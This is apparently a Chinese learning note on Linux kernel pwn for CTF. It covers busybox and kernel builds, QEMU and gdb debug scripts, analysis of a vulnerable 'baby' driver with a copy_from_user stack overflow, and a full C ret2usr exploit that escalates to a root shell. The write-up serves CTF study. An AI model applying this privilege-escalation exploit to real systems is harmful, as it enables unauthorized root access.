learn about kernel pwn
尝试编译kernel和文件系统,使用qemu启动 step1:make filesystem (compile busybox) https://ctf-wiki.org/pwn/linux/kernel-mode/environment/qemu-emulate/#_3
下载busybox编译
1 2 3 4 5 6 wget https://busybox.net/downloads/busybox-1.32.1.tar.bz2 tar -jxf busybox-1.32.1.tar.bz2 make menuconfig // 在Setting中把build static binay勾选 静态链接 make -j4 make install
在make install后可以看到busybox文件夹中多出来一个_install 文件夹, _install文件夹中有
1 2 lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ ls bin linuxrc sbin usr
创建必要的文件夹
1 2 3 lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ mkdir -p proc sys dev etc/init.d lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ ls bin dev etc linuxrc proc sbin sys usr
在根目录下创建init文件,文件系统初始化的时候会调用这个文件
1 2 3 4 5 6 7 8 9 10 #!/bin/sh echo "INIT SCRIPT" mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" setsid /bin/cttyhack setuidgid 1000 /bin/sh
打包成cpio文件
1 find . | cpio -o --format=newc > ../rootfs.cpio
cpio解压的命令
step2:download & compile kernel https://ctf-wiki.org/pwn/linux/kernel-mode/environment/build-kernel/
缺少证书报错的解决方法 https://blog.csdn.net/m0_47696151/article/details/121574718
在 https://mirrors.tuna.tsinghua.edu.cn/kernel/中下载kernel
1 2 lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/level1$ file bzImage bzImage: Linux kernel x86 boot executable bzImage, version 4.19.0 (bird@ubuntu18) #1 SMP Thu Nov 1 16:50:59 CST 2018, RO-rootFS, swap_dev 0X8, Normal VGA
解压并编译内核,缺少证书的话上面有解决方法
1 2 3 tar -xzvf linux-4.19.1.tar.gz make menuconfig // 直接save 生成.config配置文件 make -j4 bzImage
编译成功后的信息
1 2 3 4 Setup is 17148 bytes (padded to 17408 bytes). System is 8445 kB CRC b1100637 Kernel: arch/x86/boot/bzImage is ready (#1)
step3: write a script to start qemu 这篇文章中有对一些常见的qemu参数的解释
https://lantern.cool/note-pwn-kernel-environment/
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64 2>/dev/null
ctf challenge 常用命令:
1 2 3 4 5 6 7 lsmod 查看已经安装的驱动 insmod 安装驱动 cat /proc/modules 查看当前加载模块的地址 信息 grep prepare_kernel_cred /proc/kallsyms 从内核符号表中查找符号 grep commit_creds /proc/kallsyms
xman2020 level1 https://bbs.kanxue.com/thread-276403.htm
https://xz.aliyun.com/t/7625?time__1311=n4%2BxnD0G0%3DG%3Dn4Gwx05%2B4oiitG8FerYi4D&alichlgref=https%3A%2F%2Fxuanxuanblingbling.github.io%2F
https://blingblingxuanxuan.github.io/2022/12/25/22-12-15-ways-to-debug-linuxkernel/#%E8%B0%83%E8%AF%95%E6%96%B9%E6%B3%95
gdb千万不要用pwndbg插件,要用gef去插件去调试,pwndbg调试会有各种奇奇怪怪的问题
本地调试的话,每次开启调试都要做一些设置比较繁琐,最好写几个批处理文件用于调试
pack.sh 用于编译exp,将exp打包进文件系统中
1 2 3 4 5 musl-gcc -static -O2 exp.c -o exp cp ./exp ./initramfs_content/home/pwn/exp cd ./initramfs_content find . | cpio -o --format=newc > ../initramfs.cpio cd ..
startvm.sh 用于启动qemu,其中 -s参数的意思是
1 -s shorthand for -gdb tcp::1234
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/bash stty intr ^] cd `dirname $0` timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64 2>/dev/null \ -s
debug.sh 用于初始化gdb开启调试,其中baby.ko需要设置一下基地址,然后 b *(0xffffffffc0002000 + 0x24) 这个断点是题目逻辑中调用copy from user时候的地址
1 2 3 4 5 6 7 gdb -q \ -ex "file vmlinux" \ -ex "add-symbol-file baby.ko 0xffffffffc0002000" \ -ex "add-symbol-file exp" \ -ex "b *(0xffffffffc0002000 + 0x24)" \ -ex "target remote :1234" \ -ex "c"
查看模块基地址的命令
1 2 /home/pwn # cat /proc/modules baby 16384 0 - Live 0xffffffffc0002000 (POE)
题目如果没有给 vmlinux 这个文件的话, 可以用extract-vmlinux.sh这个脚本从bzimage中提取vmlinux符号
使用方法,可以把这个脚本放在/usr/bin目录下
1 ./extract-vmlinux ./bzImage > ./vmlinux
extract-vmlinux.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/bin/sh check_vmlinux (){ readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress (){ for pos in `tr "$1 \n$2 " "\n$2 =" < "$img " | grep -abo "^$2 " ` do pos=${pos%%:*} tail -c+$pos "$img " | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img " ]then echo "Usage: $me <kernel-image>" >&2 exit 2 fi tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp " 0try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd check_vmlinux $img echo "$me : Cannot find vmlinux." >&2
上面的脚本使用方法是,写好exp.c后运行pack把exp编译好打包进文件系统里,然后startvm启动qemu,debug.sh去连接qemu并且在 题目定义的驱动中下一个断点,然后再qemu中运行exp这个二进制文件,这时候gdb就会在题目的逻辑那断下来,就可以开始在gdb上调试了
题目的逻辑是这样的
init_module是一个特殊的函数名,使用insmod去把这个程序加载到内核中的时候,这个函数会被调用,作用和main函数差不多的,misc_register是注册一个字符设备,字符设备以字符为单位进行读写的操作
1 2 3 4 5 __int64 init_module () { _fentry__(); return misc_register(&off_120); }
然后 这个是这个字符设备名称叫baby
1 2 3 4 5 6 7 8 9 10 11 12 data:0000000000000120 .data:0000000000000120 ; Segment type: Pure data .data:0000000000000120 ; Segment permissions: Read/Write .data:0000000000000120 _data segment align_32 public 'DATA' use64 .data:0000000000000120 assume cs:_data .data:0000000000000120 ;org 120h .data:0000000000000120 FF 00 00 00 00 00 00 00 off_120 dq offset unk_FF ; DATA XREF: init_module+6↑o .data:0000000000000120 ; cleanup_module+6↑o .data:0000000000000128 7F 00 00 00 00 00 00 00 dq offset aBaby ; "baby" .data:0000000000000130 80 01 00 00 00 00 00 00 dq offset off_180 .data:0000000000000138 00 00 00 00 00 00 00 00 00 00+align 80h .data:0000000000000180 80 02 00 00 00 00 00 00 off_180 dq offset __this_module ; DATA XREF: .data:0000000000000130↑oxxxxxxxxxx data:0000000000000120.data:0000000000000120 ; Segment type: Pure data.data:0000000000000120 ; Segment permissions: Read/Write.data:0000000000000120 _data segment align_32 public 'DATA' use64.data:0000000000000120 assume cs:_data.data:0000000000000120 ;org 120h.data:0000000000000120 FF 00 00 00 00 00 00 00 off_120 dq offset unk_FF ; DATA XREF: init_module+6↑o.data:0000000000000120 ; cleanup_module+6↑o.data:0000000000000128 7F 00 00 00 00 00 00 00 dq offset aBaby ; "baby".data:0000000000000130 80 01 00 00 00 00 00 00 dq offset off_180.data:0000000000000138 00 00 00 00 00 00 00 00 00 00+align 80h.data:0000000000000180 80 02 00 00 00 00 00 00 off_180 dq offset __this_module ; DATA XREF: .data:0000000000000130↑o__int64 __fastcall sub_0(__int64 a1, int a2){ __int64 v2; // rbp __int64 v3; // rdx _QWORD v5[17]; // [rsp-88h] [rbp-88h] BYREF _fentry__(); if ( a2 != 24577 ) return 0LL; v5[16] = v2; return (int)copy_from_user(v5, v3, 256LL);}
往下看可以发现这个字符设备的处理函数在这里
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall sub_0(__int64 a1, int a2) { __int64 v2; // rbp __int64 v3; // rdx _QWORD v5[17]; // [rsp-88h] [rbp-88h] BYREF _fentry__(); if ( a2 != 24577 ) return 0LL; v5[16] = v2; return (int)copy_from_user(v5, v3, 256LL); }
和字符设备交互,使用 <sys/ioctl.h> 中的 ioctl() 函数,查看ioctl函数的定义并且结合题目中字符设备处理函数可以发现 a1 a2 a3 正好是对应ioctl的三个参数,a2要 == 24577才能往下走,然后copy_from_user的第二个参数是一个用户态的指针,所以使用ioctl的时候 第二个参数的值要 == 24577 第三个参数的值是一个指针
1 2 extern int __ioctl_time64 (int __fd, unsigned long int __request, ...) __THROW; # define ioctl __ioctl_time64
然后copy from user这里存在一个内核栈溢出,题目没有开启smep smap 以及kaslr的保护,可以使用ret2usr
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2usr/#:~:text=%E9%80%9A%E5%B8%B8%20CTF%20%E4%B8%AD%E7%9A%84%20ret2usr%20%E8%BF%98%E6%98%AF%E4%BB%A5%E6%89%A7%E8%A1%8C%20commit_creds%20%28prepare_kernel_cred,%28NULL%29%29%20%E8%BF%9B%E8%A1%8C%E6%8F%90%E6%9D%83%E4%B8%BA%E4%B8%BB%E8%A6%81%E7%9A%84%E6%94%BB%E5%87%BB%E6%89%8B%E6%B3%95%EF%BC%8C%E4%B8%8D%E8%BF%87%E7%9B%B8%E6%AF%94%E8%B5%B7%E6%9E%84%E9%80%A0%E5%86%97%E9%95%BF%E7%9A%84%20ROP%20chain%EF%BC%8Cret2usr%20%E5%8F%AA%E9%9C%80%E6%88%91%E4%BB%AC%E8%A6%81%E6%8F%90%E5%89%8D%E5%9C%A8%E7%94%A8%E6%88%B7%E6%80%81%E7%A8%8B%E5%BA%8F%E6%9E%84%E9%80%A0%E5%A5%BD%E5%AF%B9%E5%BA%94%E7%9A%84%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88%E3%80%81%E8%8E%B7%E5%8F%96%E7%9B%B8%E5%BA%94%E5%87%BD%E6%95%B0%E5%9C%B0%E5%9D%80%E5%90%8E%E7%9B%B4%E6%8E%A5%20ret%20%E5%9B%9E%E5%88%B0%E7%94%A8%E6%88%B7%E7%A9%BA%E9%97%B4%E6%89%A7%E8%A1%8C%E5%8D%B3%E5%8F%AF%E3%80%82
ret2usr的攻击方式是,在内核中执行 commit_creds(prepare_kernel_cred(NULL)) 这个函数调用,把当前进程的cred结构体替换成root权限的cred结构体提权,然后使用swapgs 和 iret去切换到用户态,执行用户态中text段的system(/bin/sh),这样就有root权限的shell了
iret这个指令需要保证栈布局为,所以,在和字符设备交互前,需要把用户态下的段寄存器 flag寄存器保存一下
1 2 3 4 5 rsp --> user_rip --> user_cs_register --> user_flag_register --> user_sp_register --> user_ss_register
其中user_rip这个位置可以写执行system binsh函数调用的地址
prepare_kernel_cred commit_creds这两个是内核中的函数,可以通过这两条命令去找他的地址,需要在root权限下才能找到,kallsyms这个文件存放着内核相关的符号,因为题目没有开启kaslr,所以prepare_kernel_cred 和 commit_creds 的地址的固定的,然后关于cred结构体上面的连接有介绍
1 2 grep prepare_kernel_cred /proc/kallsyms 从内核符号表中查找符号 grep commit_creds /proc/kallsyms
然后关于at&t的汇编 https://www.cnblogs.com/wingsummer/p/16305622.html 这里有一篇文章
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define KERNCALL __attribute__((regparm(3))) void * (*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xffffffff810b9d80 ;void (*commit_creds)(void *) KERNCALL = (void *) 0xffffffff810b99d0 ;unsigned long user_cs, user_ss, user_rflags, user_sp;void save_usermode_status () { asm ( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory" ); } void get_shell () { system("/bin/sh" ); } void payload () { commit_creds(prepare_kernel_cred(0 )); asm ( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $get_shell;" "swapgs;" "iretq;" ::"m" (user_ss), "m" (user_sp), "m" (user_rflags), "m" (user_cs)); } int main () { void *buf[0x100 ]; save_usermode_status(); int fd = open("/dev/baby" , 0 ); if (fd < 0 ) { printf ("[-] Failed to open driver\n" ); exit (-1 ); } for (int i=0 ; i<0x100 ; i++) { buf[i] = &payload; } ioctl(fd, 0x6001 , buf); }